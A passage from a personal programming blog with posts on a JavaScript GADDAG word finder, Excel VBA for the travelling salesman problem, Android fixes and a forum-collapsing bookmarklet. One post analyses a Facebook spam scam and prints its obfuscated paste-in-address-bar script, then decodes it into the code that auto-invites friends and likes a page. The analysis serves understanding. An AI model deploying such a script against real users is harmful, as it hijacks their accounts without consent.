Jan 19 2012

<script src=”gaddag.js” />

Tag: Javascript,Programming,WebAbhijeet Maharana @ 2:45 pm

Words with Friends on Facebook is a recent addiction and I was wondering what it would take to automate the suggestion of valid words given a player’s rack and a letter on the board that the player wants to hook into. A quick search led me to the DAWG and GADDAG data structures which are most commonly used for problems like this. GADDAG is better suited for the Scrabble (or Words with Friends)  situation and is faster than a DAWG based approach even if it requires about 5 times more space on an average.

I spent some time reading Steven Gordon’s paper from 1994 in which he presented the GADDAG data structure. The link is at the end of this post. For understanding how the GADDAG data structure works, let’s look at the Trie (which can be considered a special kind of DAWG) based representation of the words CAR, CARE and CARREL:

In the image, EOW stands for End-of-word. Tracing the paths in the tree, one can arrive at the words represented by the tree. This saves space as it groups words with common prefixes which results in fewer nodes. If someone wants all words starting with ‘C’, they just have to traverse the subtree starting with ‘C’. This tree can also answer queries to find all words with a specific prefix. However, answering queries such as “all words containing E” is not as straightforward. While one can traverse the entire tree looking for subtrees with an ‘E’, it is not efficient and for large trees such as those that store entire dictionaries for word games like Scrabble, the search time would be very high. This is where the GADDAG comes in.

For representing a word, the GADDAG data structure has as many subtrees as letters in that word. In other words, as many subtrees as the number of prefixes in that word. For example, to represent the word CARE, the first subtree would be for C>ARE. Here, C is the prefix and > separates the prefix from the rest of the word. However, the subsequent subtrees would be for AC>RE, RAC>E and ERAC>, where the prefixes “CA”, “CAR” and “CARE” are reversed before being stored in the tree. This is better explained with a diagram:

To reconstruct the word, one reads the letters before > in reverse and the letters appearing after > in correct order. This is the key to GADDAG. For example, to find all words containing an ‘R’, one descends the subtree rooted at R, reads RAC  and reverses it to get CAR and then reads E, appending it to form CARE. Extending this to our original example of CAR, CARE and CARREL, we get the tree shown below.

This is the key to GADDAG. To find all words which contain ‘E’, one just has to descend the subtree rooted at ‘E’.

I wrote a Javascript based implementation of GADDAG which is based on John Resig’s work on Trie. Given our example words CAR, CARE and CARREL, John’s JSON Trie structure looks like:

{
    "C": {
        "A": {
            "R": {
                "$": 0,
                "E": 0,
                "R": {
                    "E": {
                        "L": 0
                    }
                }
            }
        }
    }
}

In this structure, 0 or $:0 is used to indicate EOW. The output JSON gets complicated really fast as the number of words increase. I used Chris Nielsen’s (amazing) JSON visualizer while implementing this. It is an indispensable tool if you do any JSON related work.

The JSON GADDAG output, which is too big to be include in its pretty form, is given below. Graphically, it looks like this.

{{"C":{">":{"A":{"R":{"$":0,"E":0,"R":{"E":{"L":0}}}}}},"A":{"C":{">":{"R":{"$":0,"E":0,"R":{"E":{"L":0}}}}}},"R":{"A":{"C":{">":{"$":0,"E":0,"R":{"E":{"L":0}}}}},"R":{"A":{"C":{">":{"E":{"L":0}}}}}},"E":{"R":{"A":{"C":{">":0}},"R":{"A":{"C":{">":{"L":0}}}}}},"L":{"E":{"R":{"R":{"A":{"C":{">":0}}}}}}}

The Trie “class” looks like this. I modified John’s code to pack the functions I need into one class. John’s blog post contains detailed description of the Trie implementation.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// The Trie "class"
function Trie() {
 
    // Structure that actually holds the tree
    var trie = {};
 
    // Adds all words in the array passed as parameter
    this.addAll = function (words) {...}
 
    // Adds one word to the Trie
    this.add = function (word) {...}
 
    // Returns the internal tree structure
    this.getTrie = function () {...}
 
    // Returns all words contained in the Trie
    this.getWords = function () {...}
 
    // Returns the JSON string representation of the tree (like the one I posted above)
    this.getJson = function () {...}
}

Limitation (and a possible improvement) of addAll() is that input array must contain words in ascending order. My Gaddag class inherits from the Trie class.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function Gaddag() {
 
    var separator = ">";
 
    // Adds a word to the GADDAG
    this.add = function (word) {...}
 
    // Finds all words containing a hook letter
    this.findWordsWithHook = function (hook) {...}
 
    // Find all words containing a hook letter which can be formed using the letters in the array passed as rack
    this.findWordsWithRackAndHook = function (rack, hook) {...}
 
    // Splits the input array at index and returns the character at that index and the array minus that character as an object
    this.spliceArray = function (arr, index) {
}
 
// Inherit from Trie
Gaddag.prototype = new Trie();

Adding a word to a GADDAG is only slightly different from adding it to a Trie. However, words containing duplicate letters are added as many times to the tree. This may be required for some queries to work (ones that involve length of prefix as a parameter) but for other cases, just one entry might be sufficient. This is one possible improvement depending on the usage.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
    this.add = function (word) {
 
        if (word.length === 0) return;
 
        // add every (reversed-prefix + ">" + suffix) combination 
        for (var i = 1; i < word.length; i++) {
            var prefix, ch;        
            prefix = word.substring(0, i);
            ch = prefix.split('');
            ch.reverse();
 
            // call base class's add() to add this string to the tree
            Gaddag.prototype.add(ch.join('') + separator + word.substring(i));
        }
 
        // add the whole word as prefix
        ch = word.split('');
        ch.reverse();
        Gaddag.prototype.add(ch.join('') + separator + word.substring(i));
    };

The findWordsWithHook(hook) function is shown below. Explanation is inline.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
    this.findWordsWithHook = function (hook) {
        var trie = Gaddag.prototype.getTrie();
 
        // descend down the subtree containing the hook node
        var starterNode = trie[hook];
 
        // output array
        var words = [];
 
        if (typeof starterNode === 'undefined') return;
 
        // recurse through this subtree to collect all words
        dig(hook, starterNode, 'left');
        return words;
 
        /*
                word - word being currently formed
                cur - current node being traversed
                direction - direction of movement ('left' before > and 'right' after >)
        */ 
        function dig(word, cur, direction) {
 
            // for every subtree from current node
            for (var node in cur) {
 
                // get all child nodes
                var val = cur[ node ],
                    ch = (node === separator || node === "$" ? '' : node);
 
                // if we have reached the end of subtree, add complete word to output array
                if (val === 0) {
                    words.push(word + ch);
 
                } else {
 
                    // nodes after > form the suffix so change direction
                    if (node === separator) direction = 'right';
 
                    // add current letter to word
                    var part = (direction === 'left' ? ch + word : word + ch);
 
                    // traverse the remaining nodes to form rest of word
                    dig(part, val, direction);
 
                }
 
                // done with the previous subtree, reset direction to indicate we are in the prefix part of next subtree
                if (node === separator) direction = 'left';
            }
        }
    }

The findWordsWithRackAndHook(rack,hook) function is shown below. It is similar to the above function except that we have to loop through the rack and check if any of the child nodes appear in the rack before descending.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
this.findWordsWithRackAndHook = function (rack, hook) {
    var trie = Gaddag.prototype.getTrie();
    var words = [];
 
    /* To avoid recursing down duplicate characters more than once, sort the array and check whether we have already
     processed a letter before descending the subtree.
     */
    rack.sort();
 
    if (hook === '') {
        // each character in the rack acts as a hook with the following characters as the new rack
        while(rack.length > 1) {
            var h = rack.shift();
            findWordsRecurse("", rack, h, trie, 'reverse');
        }
    }
    else {
        findWordsRecurse("", rack, hook, trie, 'reverse');
    }
 
    return words.unique();
 
    function findWordsRecurse(word, rack, hook, cur, direction) {
        var hookNode = cur[ hook ];
 
        if (typeof hookNode === 'undefined') return;
 
        var hookCh = (hook === separator || hook === "$" ? '' : hook);
        word = (direction === "reverse" ? hookCh + word : word + hookCh);
 
        for (var nodeKey in hookNode) {
            var nodeVal = hookNode[ nodeKey ];
            var nodeCh = (nodeKey === separator || nodeKey === "$" ? '' : nodeKey);
 
            // if we have reached the end of this subtree, add the word (+ last character) to output array
            if (nodeVal === 0) {
                words.push(word + nodeCh);
            } else {
                // if this is the character separating the prefix, change direction and continue recursing
                if (nodeKey === separator) {
                    findWordsRecurse(word, rack, separator, hookNode, 'forward');
                }
                else {
                    processRack(word, rack, nodeKey, hookNode, direction);
                }
            }
        }
    }
 
    // descend down the next subtree that is rooted at any letter in the rack (which is not a duplicate)
    function processRack(word, rack, nodeKey, hookNode, direction) {
        for (var i = 0; i < rack.length; i++) {
            if (nodeKey === rack[i]) {
                var duplicate = (i > 0 ? (rack[i] === rack[i - 1] ? true : false) : false);
                if (!duplicate) {
                    var newRack = rack.slice(0);
                    newRack.remove(i);
                    findWordsRecurse(word, newRack, nodeKey, hookNode, direction);
                }
            }
        }
    }
}

These functions are not as straightforward as the underlying concept of GADDAG appears to be and it took me quite some time to get them working. I will be tweaking the code over the next few days and test it with full dictionaries. The code can be downloaded here. You can either run test-gaddag.js from the prompt using node.js or load test-gaddag.html in the browser.

Update (1/23/2012):
1. Bug fixes
2. Added check for start of game (no hook)
3. Added check to avoid processing duplicate letters in rack more than once

Update (3/27/2013):
James had reported a bug (see comment #10 below) long back. The tree seems to be constructed correctly and the problem was with the traversal code. Specifically lines 37,38 and 39 of findWordsWithRackAndHook.

Replace

37
38
39
            if (nodeVal === 0) {
                words.push(word + nodeCh);
            } else {

with

37
38
39
40
41
42
43
44
            if (nodeVal === 0) {
                if(nodeCh != '' && rack.indexOf(nodeCh) === -1) {
			continue;
		}
		else {
			words.push(word + nodeCh);
		}
            } else {

Before adding the last character to the word, we need to check if it is in the rack. If it is not present in the rack, we skip that character and move to the next one at the same level. I have not updated the downloaded files. Make sure you edit gaddag.js and include this fix.

Thanks for reporting the bug James!


Apr 12 2011

Collective Human Knowledge with Khan Academy

Tag: Links,WebAbhijeet Maharana @ 5:28 am

Khan Academy has been around for a while now and I find myself visiting the site time and again to benefit from the countless video tutorials. From tutoring his cousins to tutoring the whole world for free, Salman Khan has come a long way with his focused, short video tutorials on almost everything under the sun.

Last term, I used the statistics videos and I find myself wading through the finance videos this term. Sure, there were tutorial videos all over the web shortly after Youtube became a household name but finding a comprehensive source on any particular topic neatly arranged into small, digestible chunks was not easy. Khan Academy fills that void in a great way. And the videos do a fantastic job of presenting the material in a way that is not overwhelming for the first-timer.

After “ebooks”, this is perhaps the next big leap towards increasing collective knowledge of our species. While attending regular college class has its own charm, this is a huge boon for people who do not have access to such classes or who find it easier to learn from video and audio material as opposed to textbooks. I will be quite interested in seeing how Khan Academy evolves over time and the huge impact it has on the way we learn.

I wish I had known about this gem earlier! If you are reading this, introduce it to all the kids (and adults) you know who yearn to learn. Subscribe to the Khan Academy channel on Youtube to receive notification when new videos are uploaded.


Dec 12 2010

Excel VBA: Index table for Traveling Salesman

Tag: Programming,VBAAbhijeet Maharana @ 11:26 am

I took Prof. Kenneth Baker‘s “Introduction to Optimization Methods” class this fall. The class was very interesting especially because of the closeness of the practice exercises to real life problems.

The Travelling Salesman problem was a part of this course. Prof. Baker covered the linear programming formulation of the problem and we used Frontline Solvers’ Risk Solver Platform for Excel to solve the model. Part of the model looks like this:

Variables and Index Table

Cells B2:E5 are binary variables. After running Risk Solver, these binary variables will contain the solution. In the example shown, the route is Amsterdam – Berlin – Athens – Brussels – Amsterdam. The linear formulation involves building an index table which refers these variables. The index table is shown on the right.

The index table represents the set of inequalities given by . The number of inequalities is given by (n-1)*(n-2) where n is the number of cities. So for 12 cities, there will be 110 inequalities and so on.

I wrote some VBA code to generate the index table given the cities and the variable matrix. The VBA code is given below. You can also download the sample Excel 2007 file. Enable macros, run the GenerateIndexTable subroutine and follow the prompts.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
' Generates the index table given complete list of cities and the square variable matrix
' Assumes city names are consistent (text, case and order) across row and column labels
' Might work with case differences but this is not tested
Public Sub GenerateIndexTable()
    Dim row As Integer, col As Integer
    Dim numCells As Integer
    Dim cities As Range
    Dim labels() As String
    Dim outputStartCell As Range
    Dim columnLabels As Range
    Dim pairs As Range
    Dim variables As Range
    Dim uVariables As Range
 
 
    ' Get list of cities
    Set cities = Application.InputBox(prompt:="Select list of cities", Type:=8)
    If cities.Rows.Count > 1 And cities.Columns.Count > 1 Then
        MsgBox "City list should be 1-dimensional"
        Exit Sub
    End If
 
    ' Copy values to array ignoring first city
    numCells = cities.Count
    ReDim labels(1 To numCells - 1)
    For row = 2 To numCells
        labels(row - 1) = cities(row)
    Next row
 
    ' Get variable matrix
    Set variables = Application.InputBox(prompt:="Select variable matrix", Type:=8)
    If variables.Rows.Count <> variables.Columns.Count Then
        MsgBox "Variables should be in a square matrix"
        Exit Sub
    End If
 
    ' Generate output index table
    Set outputStartCell = Application.InputBox(prompt:="Select first cell of output", Type:=8)
    outputStartCell.Offset(1, 1).value = "u"
 
    outputStartCell.Offset(0, 2).Activate
    Set columnLabels = GenerateColumnLabels(labels)
 
    Set uVariables = GenerateUVariables(columnLabels)
    ShowRange uVariables
 
    outputStartCell.Offset(2, 0).Activate
    Set pairs = GeneratePairs(labels, True)
    ShowRange pairs
 
    outputStartCell.Offset(2, 2).Activate
    GenerateUConstraints columnLabels, pairs, variables, uVariables
End Sub
 
Public Function GenerateUVariables(columnLabels As Range) As Range
 
    Dim lengthCell As Range
    Set lengthCell = columnLabels.End(xlToRight).Offset(1, 1)
    lengthCell.value = columnLabels.Count + 1
 
    Set GenerateUVariables = Range(columnLabels.Cells(1).Offset(1), lengthCell)
End Function
 
' Assumes pairs are just to the left of active cell even though the range is passed as a parameter
Public Sub GenerateUConstraints(columnLabels As Range, pairs As Range, variables As Range, uVariables As Range)
    Dim i As Integer
 
    For i = 1 To pairs.Count / 2
        Dim z As Range ' temporary variable used while finding ui and uj
        Dim ui As Range, uj As Range
        Dim rowIndex As Integer, colIndex As Integer ' indices into the variable matrix
        
        Set ui = ActiveCell.Offset(, -2)
        Set z = columnLabels.Find(ui)
        rowIndex = z.Column - columnLabels.Cells(1).Column + 2
        Cells(ActiveCell.row, z.Column).value = 1
 
        Set uj = ActiveCell.Offset(, -1)
        Set z = columnLabels.Find(uj)
        colIndex = z.Column - columnLabels.Cells(1).Column + 2
        Cells(ActiveCell.row, z.Column).value = -1
 
        ActiveCell.Offset(, columnLabels.Count).Formula = "=" & variables.Cells(rowIndex, colIndex).Address
 
        ' LHS
        Dim currRow As Range
        Set currRow = Range(ActiveCell, ActiveCell.Offset(, columnLabels.Count))
        ActiveCell.Offset(, columnLabels.Count + 1).Formula = "=Sumproduct(" & uVariables.Address + "," & currRow.Address & ")"
 
        ActiveCell.Offset(, columnLabels.Count + 2).value = "<="
 
        ' RHS
        ActiveCell.Offset(, columnLabels.Count + 3).value = columnLabels.Count
 
        ActiveCell.Offset(1).Activate
    Next i
End Sub
 
' Assumes input array indices are from 1
' Returns a range that holds the column labels
Public Function GenerateColumnLabels(labels() As String) As Range
 
    Dim i As Integer
    For i = 1 To UBound(labels)
        ActiveCell.Offset(0, i - 1).value = labels(i)
    Next i
 
    Set GenerateColumnLabels = Range(ActiveCell, ActiveCell.Offset(0, UBound(labels) - 1))
End Function
 
' General purpose sub to generate pairs from an array
' Outputs values with respect to activecell
' Assumes input array indices are from 1
Public Function GeneratePairs(labels() As String, skipDiagonal As Boolean) As Range
    Dim row As Integer, col As Integer
    Dim numCells As Integer
    Dim arrStart As Integer, arrEnd As Integer
    Dim startCell As Range
 
    numCells = UBound(labels)
    Set startCell = ActiveCell
 
    For row = 1 To numCells
        For col = 1 To numCells
            If skipDiagonal And row = col Then GoTo Continue1
 
            ActiveCell.value = labels(row)
            ActiveCell.Offset(0, 1).value = labels(col)
            ActiveCell.Offset(1).Activate
Continue1:
        Next col
    Next row
 
    Set GeneratePairs = Range(startCell, ActiveCell.Offset(-1, 1))
End Function
 
' Return length of array's first dimension. = UBound if LBound = 1.
Public Function ArrLen(arr)
    ArrLen = UBound(arr) - LBound(arr) + 1
End Function
 
Public Sub ShowRange(r As Range)
    r.BorderAround (1)
End Sub

Nov 27 2010

Android goodies – bumping and more

Tag: UncategorizedAbhijeet Maharana @ 2:56 am

I got an android phone recently – Samsung Captivate – and it looks very good so far. Have been playing with it ever since I got it. There is this application that a friend introduced me to – Bump. The premise – if Bump is installed on 2 phones, just bump them against each other to share contact info and social networking invites. Seems very simple. But like everything else that we take for granted – this seems simple only after the people at Bump technologies made it so. There are some kinks in the application but they should be ironed out soon. I have a very strong feeling that this concept will become a defacto feature in most smartphones to come – and bumping is how we will exchange our contact information. The folks at Bump – good work!

In an issue that seems common in android phones, it stops downloading anything from the Android Market. Irritating as it is, different people had different things fix it for them – factory reset being one of them. I tried a factory reset and it wouldn’t let me. Bummer! If you are in the same situation, what do you do now? Well, the solution to the market issue has been posted at androidcentral. I am reproducing the post by ‘thedroidblog’ for making it part of my notes. I didn’t try the factory reset after this. Not in a mood to lose my customizations just yet.

I found this and seems to have fixed my Market download issue:

1. go to your settings
2. select “applications”
3. then select “manage applications”
4. press menu and select “filter” then “All”
5. scroll down to:

a) “Checkin Service” then select “clear data”
b) “Download Manager” then select “clear data”
c) “Google Apps” then “clear data”
d) “Google Talk Service” then select “clear data”
e) ” Market” then select “clear cache”


May 14 2010

Latest Facebook Spam

Tag: Javascript,WebAbhijeet Maharana @ 1:59 am

You have seen those Facebook updates that go “***** and ***** like if he/she tells these lies, 99% chance they are cheating on you.” and the like. If you go to the page and do as the page says, you will end up liking the page (automatically) and your friends will receive a “suggestion”. I fell victim too.

After a couple of such updates, it was obvious this is some sort of spam. And it is spreading fast too. I paid attention to the instructions on such pages. CTRL + C, ALT + D, CTRL + V and Enter. So copy & paste something in the address bar and GO. The copied stuff has to be a link … or a script. Sure enough, it is a script. Here is the encoded form:

javascript:(function(){a='app121213611239754_jop';b='app121213611239754_jode';ifc='app121213611239754_ifc';ifo='app121213611239754_ifo';mw='app121213611239754_mwrapper';eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c]);return p}('J e=["\n\g\j\g\F\g\i\g\h\A","\j\h\A\i\f","\o\f\h\q\i\f\r\f\k\h\K\A\L\t","\w\g\t\t\f\k","\g\k\k\f\x\M\N\G\O","\n\l\i\y\f","\j\y\o\o\f\j\h","\i\g\H\f\r\f","\G\u\y\j\f\q\n\f\k\h\j","\p\x\f\l\h\f\q\n\f\k\h","\p\i\g\p\H","\g\k\g\h\q\n\f\k\h","\t\g\j\z\l\h\p\w\q\n\f\k\h","\j\f\i\f\p\h\v\l\i\i","\j\o\r\v\g\k\n\g\h\f\v\P\u\x\r","\B\l\Q\l\R\B\j\u\p\g\l\i\v\o\x\l\z\w\B\g\k\n\g\h\f\v\t\g\l\i\u\o\S\z\w\z","\j\y\F\r\g\h\T\g\l\i\u\o"];d=U;d[e[2]](V)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];s=d[e[2]](e[6]);m=d[e[2]](e[7]);c=d[e[9]](e[8]);c[e[11]](e[10],I,I);s[e[12]](c);C(D(){W[e[13]]()},E);C(D(){X[e[16]](e[14],e[15])},E);C(D(){m[e[12]](c);d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]},E);',62,69,'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'),0,{}))})();

Lets beautify it a bit using jsbeautifier:

(function () {
    a = 'app121213611239754_jop';
    b = 'app121213611239754_jode';
    ifc = 'app121213611239754_ifc';
    ifo = 'app121213611239754_ifo';
    mw = 'app121213611239754_mwrapper';
    eval(function (p, a, c, k, e, r) {
        e = function (c) {
            return (c < a ? '' : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
        };
        if (!''.replace(/^/, String)) {
            while (c--) r[e(c)] = k[c] || e(c);
            k = [function (e) {
                return r[e]
            }];
            e = function () {
                return '\w+'
            };
            c = 1
        };
        while (c--) if (k[c]) p = p.replace(new RegExp('\b' + e(c) + '\b', 'g'), k[c]);
        return p
    }('J e=["\n\g\j\g\F\g\i\g\h\A","\j\h\A\i\f","\o\f\h\q\i\f\r\f\k\h\K\A\L\t","\w\g\t\t\f\k","\g\k\k\f\x\M\N\G\O","\n\l\i\y\f","\j\y\o\o\f\j\h","\i\g\H\f\r\f","\G\u\y\j\f\q\n\f\k\h\j","\p\x\f\l\h\f\q\n\f\k\h","\p\i\g\p\H","\g\k\g\h\q\n\f\k\h","\t\g\j\z\l\h\p\w\q\n\f\k\h","\j\f\i\f\p\h\v\l\i\i","\j\o\r\v\g\k\n\g\h\f\v\P\u\x\r","\B\l\Q\l\R\B\j\u\p\g\l\i\v\o\x\l\z\w\B\g\k\n\g\h\f\v\t\g\l\i\u\o\S\z\w\z","\j\y\F\r\g\h\T\g\l\i\u\o"];d=U;d[e[2]](V)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];s=d[e[2]](e[6]);m=d[e[2]](e[7]);c=d[e[9]](e[8]);c[e[11]](e[10],I,I);s[e[12]](c);C(D(){W[e[13]]()},E);C(D(){X[e[16]](e[14],e[15])},E);C(D(){m[e[12]](c);d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]},E);', 62, 69, '||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'), 0, {}))
})();

Couple of variable declarations and somewhere in there there is “eval(function(p,a,c,k,e,r)” which means this Javascript is packed using Dean Edwards’ packer. So lets unpack it using this tool.

var _0x95ea = ["x76x69x73x69x62x69x6Cx69x74x79", "x73x74x79x6Cx65", "x67x65x74x45x6Cx65x6Dx65x6Ex74x42x79x49x64", "x68x69x64x64x65x6E", "x69x6Ex6Ex65x72x48x54x4Dx4C", "x76x61x6Cx75x65", "x73x75x67x67x65x73x74", "x6Cx69x6Bx65x6Dx65", "x4Dx6Fx75x73x65x45x76x65x6Ex74x73", "x63x72x65x61x74x65x45x76x65x6Ex74", "x63x6Cx69x63x6B", "x69x6Ex69x74x45x76x65x6Ex74", "x64x69x73x70x61x74x63x68x45x76x65x6Ex74", "x73x65x6Cx65x63x74x5Fx61x6Cx6C", "x73x67x6Dx5Fx69x6Ex76x69x74x65x5Fx66x6Fx72x6D", "x2Fx61x6Ax61x78x2Fx73x6Fx63x69x61x6Cx5Fx67x72x61x70x68x2Fx69x6Ex76x69x74x65x5Fx64x69x61x6Cx6Fx67x2Ex70x68x70", "x73x75x62x6Dx69x74x44x69x61x6Cx6Fx67"];
 
d = document;
d[_0x95ea[2]](mw)[_0x95ea[1]][_0x95ea[0]] = _0x95ea[3];
d[_0x95ea[2]](a)[_0x95ea[4]] = d[_0x95ea[2]](b)[_0x95ea[5]];
 
s = d[_0x95ea[2]](_0x95ea[6]);
m = d[_0x95ea[2]](_0x95ea[7]);
c = d[_0x95ea[9]](_0x95ea[8]);
 
c[_0x95ea[11]](_0x95ea[10], true, true);
s[_0x95ea[12]](c);
 
setTimeout(function () {
	fs[_0x95ea[13]]()
}, 5000);
 
setTimeout(function () {
	SocialGraphManager[_0x95ea[16]](_0x95ea[14], _0x95ea[15])
}, 5000);
 
setTimeout(function () {
	m[_0x95ea[12]](c);
	d[_0x95ea[2]](ifo)[_0x95ea[4]] = d[_0x95ea[2]](ifc)[_0x95ea[5]]
}, 5000);

The array _0x95ea contains hex coded strings. To find out what they mean, we just use an alert

alert(_0x95ea.join(','));

Those are your strings. Go back and replace them in the array.

var _0x95ea = ["visibility", 
	"style", 
	"getElementById", 
	"hidden", 
	"innerHTML", 
	"value", 
	"suggest", 
	"likeme", 
	"MouseEvents", 
	"createEvent", 
	"click", 
	"initEvent", 
	"dispatchEvent", 
	"select_all", 
	"sgm_invite_form", 
	"/ajax/social_graph/invite_dialog.php", 
	"submitDialog"];

Now replace the array references and variable declarations in the code that follows. So

d[_0x95ea[2]](mw)[_0x95ea[1]][_0x95ea[0]] = _0x95ea[3];

becomes

document['getElementById']('app121213611239754_mwrapper')['style']['visibility'] = 'hidden';

which is same as

document.getElementById('app121213611239754_mwrapper').style.visibility = 'hidden';

The final code looks like this.

// hide the div that shows the CTRL + C etc. animation
document.getElementById('app121213611239754_mwrapper').style.visibility = hidden;
 
// copy code from a hidden text area to a div to create the suggest and likeme nodes
document.getElementById('app121213611239754_jop').innerHTML = document.getElementById('app121213611239754_jode').value;
 
s = document.getElementById('suggest');
m = document.getElementById('likeme');
c = document.createEvent('MouseEvents');
 
c.initEvent('click', true, true);
s.dispatchEvent(c);
 
setTimeout(function () {
	fs.select_all()
}, 5000);
 
setTimeout(function () {
	SocialGraphManager.submitDialog('sgm_invite_form', '/ajax/social_graph/invite_dialog.php')
}, 5000);
 
setTimeout(function () {
	m.dispatchEvent(c);
	document.getElementById(ifo).innerHTML = document.getElementById(ifc).value
}, 5000);

‘app121213611239754_jode’ is a hidden text area which contains following code

<div class=​"suggestdiv">​
<a id=​"suggest" href=​"#" ajaxify=​"/​ajax/​social_graph/​invite_dialog.php?class=FanManager&​node_id=115065838533943" class=​" profile_action actionspro_a" rel=​"dialog-post">​Suggest to Friends​</a>​
</div>​
<div class=​"likemediv">​
<a ajaxify=​"/​ajax/​pages/​fan_status.php?fbpage_id=115065838533943&​add=1&​reload=0&​preserve_tab=1&​use_primer=1" id=​"likeme" rel=​"async-post" class=​"UIButton UIButton_Gray UIButton_CustomIcon UIActionButton" href=​"#">​
<span class=​"UIButton_Text">​
<i class=​"UIButton_Icon img spritemap_icons sx_icons_like">​</i>​
"Like"
</span>​
</a>​
</div>​

This code is copied to the outer DIV which creates the “suggest” and “likeme” links. Using the timeouts, suggest link is clicked, all friends are selected and invitations are sent. Then you end up liking the page.

Neat!


May 05 2010

Forum thread collapser using jQuery

Tag: Javascript,jQuery,Programming,WebAbhijeet Maharana @ 5:43 pm

Sometimes when viewing a large forum thread, it would be great if you could highlight all posts by a particular user in that thread. While there might be server side plugins for the various forum software bundles available, the admins may not like the idea of installing them unless requested by a large number of users. I went ahead and wrote a script that does this by manipulating the DOM on the client. Again, such functionality is best implemented as a plugin for the forum software itself. But this is a handy script nevertheless.

It is implemented as a bookmarklet which you can drag to your bookmarks toolbar. When browsing a particular thread, select the username whose posts you want to browse and click the bookmark. It will collapse posts by other users so that posts by the user you are interested in will stand out. Other posts can be expanded/collapsed if needed. If you do not select any username, the bookmarklet will prompt for it. In your user control panel for that forum, you can change the visible posts to the maximum available and then use this to quickly go through the posts that contains answers.

There are many forum hosting software available such as MyBB, vBulletin etc. and each has its own layout of rendering posts. Further, within each, there are themes that modify the post layout. Some display the post metadata to the left while some display it above the post. Browsing through various MyBB based forums, I found that there are mainly 2 types of themes that render post metadata to the left. Both look same. Difference is in the DOM structure. First type uses a big table and individual rows for each post. Second type uses divs and nested tables for each row. A generic script to handle all forum types and variants will require some more work than what I am posting here. This script works with a subset: MyBB based forums with themes of first type.

Here is the bookmarklet: Thread collapser. There will be a slight delay when you run this first time. I adapted the jQuerify bookmarklet by Karl Swedberg to inject jQuery into the DOM and then execute our function when jQuery has been loaded successfully. It loads jQuery from Google CDN and once that is cached locally, you won’t notice the delay. Here is the complete script.

Here is a short description of how it works. I am only posting the body for startScript() which is where all our code resides. We start off by getting hold of the user selection on the page – which is supposed to be the post author. If there is no selection, it prompts for the author.

1
2
3
4
5
6
7
8
var author = getSelectedText();
if(author == '')
        author = prompt('Screen name?');
 
if(author == null || author == '')
        return false;
 
author = author.trim().toLowerCase();

Then we get hold of all the posts on the page and check if there is any post by that particular author. The selectors are fairly straightforward if you revisit the DOM structure of the template type that we are handling. Within each post TR, the first TD holds the post metadata. Post author is within an A element which points to the profile page (member.php with an UID). We iterate through all the post authors and mark a true for each one that matches what we are looking for. After the loop, we check how many true values we have.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
var postRows = jQuery('div#container div#content table:first')  // get post table
        .children() // get tbody
        .children() // get trs
        .not('tr:has(td.trow_sep)') // remove post separators
        .not(':odd')    // remove post footer that has links
        .slice(1,-1);   // remove table header and footer
 
var numPostsByAuthor = jQuery('td:first a[href^=member.php]', postRows).map(
        function(){
                if(jQuery(this).text().toLowerCase() == author)
                    return true;
                else
                    return null;
        }
).size();
 
if(numPostsByAuthor == 0)
{
        alert('There are no posts by "' + author + '" on this page.');
        return false;
}

If there are posts by our author, we iterate again – collapsing posts by other authors and attaching click handlers to let the user expand them if needed (like when a post refers to a post above but hasn’t quoted it).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
postRows.each(function(){
        var postAuthor = jQuery('td:first a[href^=member.php]',this).text().toLowerCase();
        if(author != postAuthor)
        {
            var currRow = jQuery(this);
            var nextRow = currRow.next();
 
            currRow.hide();
            var nextClass = nextRow.find('td:first').attr('class');
 
            var nextRowCol1 = jQuery('<td class="' + nextClass + ' smalltext">' + postAuthor + '</td>');
            var nextRowCol2 = jQuery('<td class="' + nextClass + '">[+]</td>');
            nextRow.html('');
